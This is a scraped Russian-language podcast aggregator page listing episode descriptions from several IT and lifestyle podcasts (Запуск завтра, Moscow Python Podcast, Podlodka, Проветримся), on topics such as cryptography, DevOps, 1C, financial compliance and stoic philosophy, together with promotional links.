Пройти наш опрос: https://form.typeform.com/to/e4324Qbq Netflix, Uber и Google тратят огромные бюджеты, постоянно придумывают новые гипотезы и проводят тысячи тестов в год. Но логика A/B тестирования подойдёт не только корпорациях, но любому бизнесу для самых разных задач — от выбора цвета кнопки до оценки целой механики работы сервиса. Разобраться в том, как устроена эта область, как рассчитываются результаты и как автоматизировать весь процесс, Самату помог Виталий Черемисинов — сооснователь компании EXPF. Бесплатный профориентационный курс от Яндекс Практикума: https://clck.ru/sbFyK Подкаст «СОБЕС» с Кирой Кузьменко: https://podcast.ru/1638899174 Компания Виталия: https://expf.ru Книжные…

3 месяца, 2 недели назад @ zapuskzavtra.libsyn.com
Доверенное железо. Как работает аппаратное шифрование
Доверенное железо. Как работает аппаратное шифрование Доверенное железо. Как работает аппаратное шифрование

Опрос для слушателей: https://form.typeform.com/to/e4324Qbq Продолжаем говорить о криптографии. В этом эпизоде Сергей Агафьин из компании КриптоПро рассказывает о физических носителях, оберегающих нашу информацию. Разбираемся, как создают и взламывают «флешки» с секретными ключами, магнитные карты и огромные модули безопасности, установленные в банках по всему миру. Этот подкаст мы делаем совместно с сервисом онлайн-образования Яндекс.Практикум: https://clck.ru/Pfti2 Рекомендации от Сергея: Книги по смарт-картам, например: «Смарт-карты. Настольная книга разработчика», авторы Т.М. Юргенсен и С.Б. Гатери Книга «Cryptographic engineering», автор Брюс Шнайер Конференции: Black Hat, CCC.de, РусК…

3 месяца, 3 недели назад @ zapuskzavtra.libsyn.com
«Ваше подключение не защищено». Разбираемся в шифровании
«Ваше подключение не защищено». Разбираемся в шифровании «Ваше подключение не защищено». Разбираемся в шифровании

Если мы будем хранить наши переписки, пароли и номера банковских карт в исходном виде, их обязательно перехватят злоумышленники, поэтому данные в интернете шифруются. Но и с передачей зашифрованных сообщений есть проблема — нам нужно быть уверенными в том, что получатель тот, за кого себя выдаёт. Для этого используется развесистая инфраструктура с сертификатами и удостоверяющими центрами. В этом эпизоде Евгений Алексеев, начальник отдела криптографических исследований из компании КриптоПро, рассказывает, как работает шифрование, почему каждая страна стремится создать собственный криптографический алгоритм и почему до сих пор нет гарантированного способа защитить свою информацию. Курсы с инт…

3 месяца, 4 недели назад @ zapuskzavtra.libsyn.com
Как сделан крупнейший сервис по поиску жилья
Как сделан крупнейший сервис по поиску жилья Как сделан крупнейший сервис по поиску жилья

Циан — это IT-команда из 250+ человек и 20 миллионов пользователей, ищущих квартиры ежемесячно. Вместе с техническим директором Алексеем Чекановым разбираемся, благодаря чему компания стала главным игроком на российском рынке недвижимости, как Циан защищает клиентов от мошенников и в чем сложности разработки сервиса такого масштаба. Школы наставников и ревьюеров Яндекс Практикума: https://practicum.yandex.ru/job/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_job_zapuskzavtra Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Связаться: [email protected]

4 месяца назад @ zapuskzavtra.libsyn.com
Moscow Python Podcast Moscow Python Podcast
последний пост 1 месяц назад
Грабли на пути джуна (level: all)
Грабли на пути джуна (level: all) Грабли на пути джуна (level: all)

В гостях у Moscow Python Podcast Python разработчик Юрий Бородич.. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

1 месяц назад @ learnpython.podbean.com
Как жить в современном потоке информации (level: all)
Как жить в современном потоке информации (level: all) Как жить в современном потоке информации (level: all)

В гостях у Moscow Python Podcast HRD компании Altenar Екатерина Фирсова. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

1 месяц, 3 недели назад @ learnpython.podbean.com
Open Source и Data Science (level: all)
Open Source и Data  Science (level: all) Open Source и Data Science (level: all)

В гостях у Moscow Python Podcast руководитель разработки Data Science компании Avito Олег Бугримов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

2 месяца назад @ learnpython.podbean.com
Выгорание и токсичность (level: all)
Выгорание и токсичность (level: all) Выгорание и токсичность (level: all)

В гостях у Moscow Python Podcast VP of Engineering Константин Волков. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

2 месяца, 2 недели назад @ learnpython.podbean.com
Про тимлидство (level: all)
Про тимлидство (level: all) Про тимлидство (level: all)

В гостях у Moscow Python Podcast Руководитель разработки компании IVA Technologies Александр Ковалев. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

3 месяца, 1 неделя назад @ learnpython.podbean.com
Про Хакатоны (level: all)
Про Хакатоны (level: all) Про Хакатоны (level: all)

В гостях у Moscow Python Podcast Lead of HR Community Skolkovo Алиса Цапкова. Обсудили с Алисой зачем нужны хакатоны, советы и лайфхаки участникам хакатонов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Skolkovo Hack 2022: https://codenrock.com/contests/skolkovo-hack-2022 Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за руб…

3 месяца, 2 недели назад @ learnpython.podbean.com
Из разработки в DevOps (level: all)
Из разработки в DevOps (level: all) Из разработки в DevOps (level: all)

В гостях у Moscow Python Podcast Python Senior DevOps компании CLS Global Игорь Перепелицын. Обсудили с Игорем его путь в разработке, GitOps и как деплоиться без Kubernetes. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

4 месяца назад @ learnpython.podbean.com
CI/CD и культура DevOps (level: all)
CI/CD и культура DevOps (level: all) CI/CD и культура DevOps (level: all)

В гостях у Moscow Python Podcast Python Team Lead компании Райффайзенбанк Денис Аникин. Обсудили с Денисом какие способы деплоя Python приложения в прод сейчас есть. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geek…

4 месяца, 1 неделя назад @ learnpython.podbean.com
Redis, сова и глобус (level: all)
Redis, сова и глобус (level: all) Redis, сова и глобус (level: all)

В гостях у Moscow Python Podcast Python CTO проекта Speechki Павел Мальцев. Поговорили с Павлом о том, как и когда использовать Redis, какие там есть структуры данных и когда они будут полезны. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж…

4 месяца, 3 недели назад @ learnpython.podbean.com
L и DataOps (level: all)
L и DataOps (level: all) L и DataOps (level: all)

В гостях у Moscow Python Podcast Python ML и DataOps lead компании Gett Семён Осипов. Поговорили с Семёном о его пути в разработке и что такое ML и DataOps и зачем он нужен. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

5 месяцев назад @ learnpython.podbean.com
Английский для разработчиков (level: all)
Английский для разработчиков (level: all) Английский для разработчиков (level: all)

В гостях у Moscow Python Podcast Python руководитель команды методистов на курсе Английский для разработчиков компании Яндекс.Практикум Маруся Горина и Python разработчик Лариса Петрова. Обсудили с Марусей и Ларисой какой уровень английского нужен разработчику. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week)…

5 месяцев, 1 неделя назад @ learnpython.podbean.com
Путь от джуна до тимлида (level: all)
Путь от джуна до тимлида (level: all) Путь от джуна до тимлида (level: all)

В гостях у Moscow Python Podcast Python Team lead компании VK Group Юрий Орлов. Обсудили с Юрием его путь в программировании от джуна до тимлида. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/internatio…

5 месяцев, 2 недели назад @ learnpython.podbean.com
Как быть техлидом (level: senior)
Как быть техлидом (level: senior) Как быть техлидом (level: senior)

В гостях у Moscow Python Podcast Python руководитель группы разработки компании MTS AI Сурен Хоренян. Поговорили с Суреном о том, как быть техлидом и не мешать разработчикам. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

5 месяцев, 3 недели назад @ learnpython.podbean.com
Инсайды с конференций (level: all)
Инсайды с конференций (level: all) Инсайды с конференций (level: all)

В гостях у Moscow Python Podcast Python специалист по решению сложных технологических задач Александр Боргардт. Обсудили с Александром зачем устраивают конференции и как получить от них максимум пользы. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https:/…

6 месяцев, 1 неделя назад @ learnpython.podbean.com
Domain Driven Design (level: all)
Domain Driven Design (level: all) Domain Driven Design (level: all)

В гостях у Moscow Python Podcast Python руководитель разработки компании МЕДСИ Digital Николай Фоминых. Обсудили с Николаем, что такое DDD, зачем оно нужно и как применяют в МЕДСИ. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский, Team Lead NVIDIA Злата Обуховская и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Конференция Merge: https://Mergeconf.ru Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа пом…

6 месяцев, 2 недели назад @ learnpython.podbean.com
Podlodka Podcast Podlodka Podcast
последний пост 3 дня, 4 часа назад
Podlodka #296 – 1С
Podlodka #296 – 1С Podlodka #296 – 1С

У ИТ комьюнити сложилось устойчивое негативное отношение к 1С. "Софт для бухгалтеров, программирование на русском, древние подходы к разработке, и вообще это ненастоящее программирование!" — выдержка из 99% обсуждений этой платформы. Но зачастую устоявшиеся взгляды могут не отражать реальную картину дел. Вместе с представителем open-source community 1С Адреем Овсянкиным разбираемся, что правда, а что — устаревшие стереотипы. С какими инструментами работают современные разработчики 1С и какая них любимая IDE? Какого это - программировать на русском, и можно ли иначе Применимы ли DevOps практики к разработке на 1С? Разрушаем десятки мифов в этом выпуске! Поддержи лучший подкаст про IT:

www.pa…

3 дня, 4 часа назад @ soundcloud.com
Podlodka #295 – Финмониторинг и банковский compliance
Podlodka #295 – Финмониторинг и банковский compliance Podlodka #295 – Финмониторинг и банковский compliance

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

1 неделя, 3 дня назад @ soundcloud.com
Podlodka #295 – Финмониторинг и банковский compliance
Podlodka #295 – Финмониторинг и банковский compliance Podlodka #295 – Финмониторинг и банковский compliance

Каждая ваша транзакция в любом банке тщательно анализируется на предмет того, не пытаетесь ли вы с ее помощью отмыть деньги или профинансировать терроризм. Про то, по каким правилам работают эти системы, и как они реализованы, говорить обычно не принято. Наш гость Михаил, который много лет работает и в российском, и в зарубежном финтехе, рассказал нам про то, как регулируются финансовые операции, как реализованы compliance-системы, и про то, как банки выполняют возложенную на них роль финансовых полицейских. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: ht…

1 неделя, 3 дня назад @ soundcloud.com
Podlodka #294 – Масштабируем процессы
Podlodka #294 – Масштабируем процессы Podlodka #294 – Масштабируем процессы

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

2 недели, 3 дня назад @ soundcloud.com
Podlodka Ep 294
Podlodka Ep 294 Podlodka Ep 294

А что если в больших компаниях действительно слишком много команд и разработчиков? В гости позвали сертифицированного Scrum-тренера и автора книги Creating Agile Organizations Илью Павличенко и разобрались на чем компании теряют при масштабировании, и как можно было бы этих потерь избежать. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Егор Толстой Полезные ссылки: Creating Agile Organizations: …

2 недели, 3 дня назад @ soundcloud.com
Podlodka #293 – Как продавать свои идеи
Podlodka #293 – Как продавать свои идеи Podlodka #293 – Как продавать свои идеи

Множество замечательных идей не увидели свет, потому что авторы не смогли привлекательно их презентовать! Чтобы с вами этого не случилось, мы поговорили о том, как правильно «продавать» свои задумки, а помог нам с этим Артём Гусев, основатель Бюро Глагол. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Катя Петрова Полезные ссылки: Бюро Глагол

https://glagol.me Ссылка на фреймворк

https://drive.go…

3 недели, 3 дня назад @ soundcloud.com
Podlodka #292 – Распознавание речи
Podlodka #292 – Распознавание речи Podlodka #292 – Распознавание речи

В эфире ваша любимая рубрика: «как устроены сложные штуки» 🤓. Мы уже не раз затрагивали тему голосовых ассистентов и их тестирования. Настало время фундаментальных вопросов — в этом выпуске разбираемся, как работают системы распознавания речи! Иван Бондаренко, старший преподаватель и научный сотрудник НГУ, рассказал из каких компонентов устроены типичные архитектуры таких систем, принцип их работы, и как системы эволюционируют, все больше полагаясь на нейронные сети. Не обошли стороной и практику и обсудили, как самому реализовать распознавание речи из open-source решений. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах …

1 месяц назад @ soundcloud.com
Podlodka #291 – Продуктивность разработчика
Podlodka #291 – Продуктивность разработчика Podlodka #291 – Продуктивность разработчика

На продуктивность можно смотреть по-разному – через призму количества закрытых задач, достигнутых результатов, собственного wellbeing. В этом выпуске мы с Кириллом Мокевниным обсуждаем продуктивность владения инструментами разработки, достижение которой позволит вам увереннее входить в состояние потока и дольше в нем оставаться. Слепая печать, горячие клавиши, терминал, Vim и куча других способов оптимизировать свою рутину. «Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России. А у приложения более 14 млн скачиваний. Ищем аналитиков 1С, системных аналитиков и администраторов, инженеров по тестированию, ведущих разработчиков BI, UX\UI дизайнеров и контент-менеджеров. Резюме присылай…

1 месяц, 1 неделя назад @ soundcloud.com
Podlodka #290 – Микропроцессоры
Podlodka #290 – Микропроцессоры Podlodka #290 – Микропроцессоры

Микропроцессор – мозг, сердце любой системы. С Владимиром Туровым из Selectel прошлись по техническому устройству процессора, архитектурам. CPU по праву считается центральным элементом, обсудили как он взаимодействует с другими частями системы. А в конце традиционно разобрали эволюцию отрасли. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Евгений Кателла Полезные ссылки: Как запускается сервер

h…

1 месяц, 2 недели назад @ soundcloud.com
Podlodka #289 – Вино
Podlodka #289 – Вино Podlodka #289 – Вино

Отвлекаемся от рабочих вопросов и обсуждаем в этом выпуске вино и связанную с ним культуру: в чем секрет винограда, как делают вино и как научиться в нем разбираться. Помогает нам Владимир Косенко, президент Московской Ассоциации сомелье. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Женя Кателла, Стас Цыганов Полезные ссылки: Сайт Wine Folly

https://winefolly.com

1 месяц, 2 недели назад @ soundcloud.com
Podlodka #288 – Nim, часть 2
Podlodka #288 – Nim, часть 2 Podlodka #288 – Nim, часть 2

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром продолжаем разбираемся с лучшим языком программирования – Nim. В этой части мы разбираем ключевые фичи языка, его недостатки, обозреваем экосистему и обсуждаем самые громкие кейсы применения в продакшене. Разверните отказоустойчивую инфраструктуру на 9 дата-центров Selectel в России и за рубежом: https://slc.tl/d55n8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-а…

1 месяц, 3 недели назад @ soundcloud.com
Podlodka #288 – Nim, часть 2
Podlodka #288 – Nim, часть 2 Podlodka #288 – Nim, часть 2

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром продолжаем разбираемся с лучшим языком программирования – Nim. В этой части мы разбираем ключевые фичи языка, его недостатки, обозреваем экосистему и обсуждаем самые громкие кейсы применения в продакшене. Разверните отказоустойчивую инфраструктуру на 9 дата-центров Selectel в России и за рубежом: https://slc.tl/d55n8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-а…

1 месяц, 3 недели назад @ soundcloud.com
Podlodka #287 – Стейблкойны
Podlodka #287 – Стейблкойны Podlodka #287 – Стейблкойны

Каждый раз, когда в Подлодке назревает связанная с финансами тема, мы зовем нашего главного финансового эксперта – Павла Комаровского. В этот раз он рассказал нам про то, как работает один из самых популярных видов криптовалют – стейблкойны. Мы разобрали до косточек все подходы к их реализации, сравнили друг с другом популярные валюты и разобрались с алгоритмом выбора монет для своего случая. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/Podlo…

2 месяца назад @ soundcloud.com
Podlodka #286 – Архитектура фронтенда
Podlodka #286 – Архитектура фронтенда Podlodka #286 – Архитектура фронтенда

С Сергеем Совой детально разобрали о чем думают в контексте архитектуры на фронте. Какие есть абстракции, какие есть подходы, как они между собой связаны. В первой части поговорили в верхнеуровневом разрезе уровня флоу данных, а во второй про низкоуровневые компоненты – кэши, хранилища, верстка и другие. Разверните отказоустойчивую инфраструктуру в Selectel и защитите ваш сайт или приложение от сбоев: https://slc.tl/3qir8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/po…

2 месяца, 1 неделя назад @ soundcloud.com
Podlodka #285 – Профессия: CPO
Podlodka #285 – Профессия: CPO Podlodka #285 – Профессия: CPO

Стремительно идем к тому, чтобы ни одна C-level должность не осталась без нашего внимания! На сей раз вместе с Евгением Емельяновым разбираемся в том, чем занимается CPO, и как эта роль меняется в зависимости от компании. Бесплатный месяц доступа к подписке Epic+ по промокоду EPICLODKA для слушателей подкаста. Подборка контента от команды Подлодки: https://my.epicgrowth.ru/programs/podlodka?category_id=83508 А по промокоду PODLODKA_GROWTH получите скидку на второй сезон нашей совместной с Epic Growth онлайн-конференции Podlodka Product Crew! Тема сезона — «Продуктовая аналитика». https://podlodka.io/productcrew Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши ла…

2 месяца, 2 недели назад @ soundcloud.com
Проветримся! Проветримся!
последний пост 2 часа назад
Межсезонье. Как искусственный интеллект поможет нам сохранить человечность?
Межсезонье. Как искусственный интеллект поможет нам сохранить человечность?

Разговор с Анной Ковалёвой для Reforum.Support the show

2 часа назад @ buzzsprout.com
Стрим. Василий Севрюк про нобелевскую премию по физике 2022
Стрим. Василий Севрюк про нобелевскую премию по физике 2022

Про новую нобелевскую премию по физике рассказывает Василий Севрюк — квантовый инженер IQM Quantum Computers.https://www.meetiqm.com/Support the show

1 месяц, 1 неделя назад @ buzzsprout.com
Смелость не нравиться
Смелость не нравиться

Писатель и психолог из Японии написали книгу-диалог о том, что такое индивидуальная психология. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

1 месяц, 4 недели назад @ buzzsprout.com
Стоицизм в XXI веке
Стоицизм в XXI веке

Книга Уильяма Ирвайна о том, чему современный человек может научиться у философов Греции и Рима. Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

2 месяца назад @ buzzsprout.com
Человек в поисках смысла
Человек в поисках смысла

Как Виктор Франкл попал в концлагерь и написал одну из главных работ по психологии второй половины двадцатого века.Не будьте такими душными, давайте лучше - проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show

2 месяца назад @ buzzsprout.com
Эмоции и личность
Эмоции и личность

Это тринадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 3 недели назад @ buzzsprout.com
Другие люди
Другие люди

Это двенадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 3 недели назад @ buzzsprout.com
Внимание и эмоции
Внимание и эмоции

Это одиннадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 3 недели назад @ buzzsprout.com
Эмоции стоиков
Эмоции стоиков

Это десятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 3 недели назад @ buzzsprout.com
Ощущения и эмоции
Ощущения и эмоции

Это девятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 3 недели назад @ buzzsprout.com
Будущее
Будущее

Это восьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 4 недели назад @ buzzsprout.com
Благодарность
Благодарность

Это седьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

5 месяцев, 4 недели назад @ buzzsprout.com
Могло быть хуже
Могло быть хуже

Это шестая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

6 месяцев назад @ buzzsprout.com
Внимание к деталям
Внимание к деталям

Это пятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

6 месяцев назад @ buzzsprout.com
Стоические боги
Стоические боги

Это четвёртая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

6 месяцев назад @ buzzsprout.com
Вы находитесь здесь Вы находитесь здесь
последний пост None
Comand Line Heroes by RedHat Comand Line Heroes by RedHat
последний пост 6 месяцев назад
All Together Now
All Together Now All Together Now

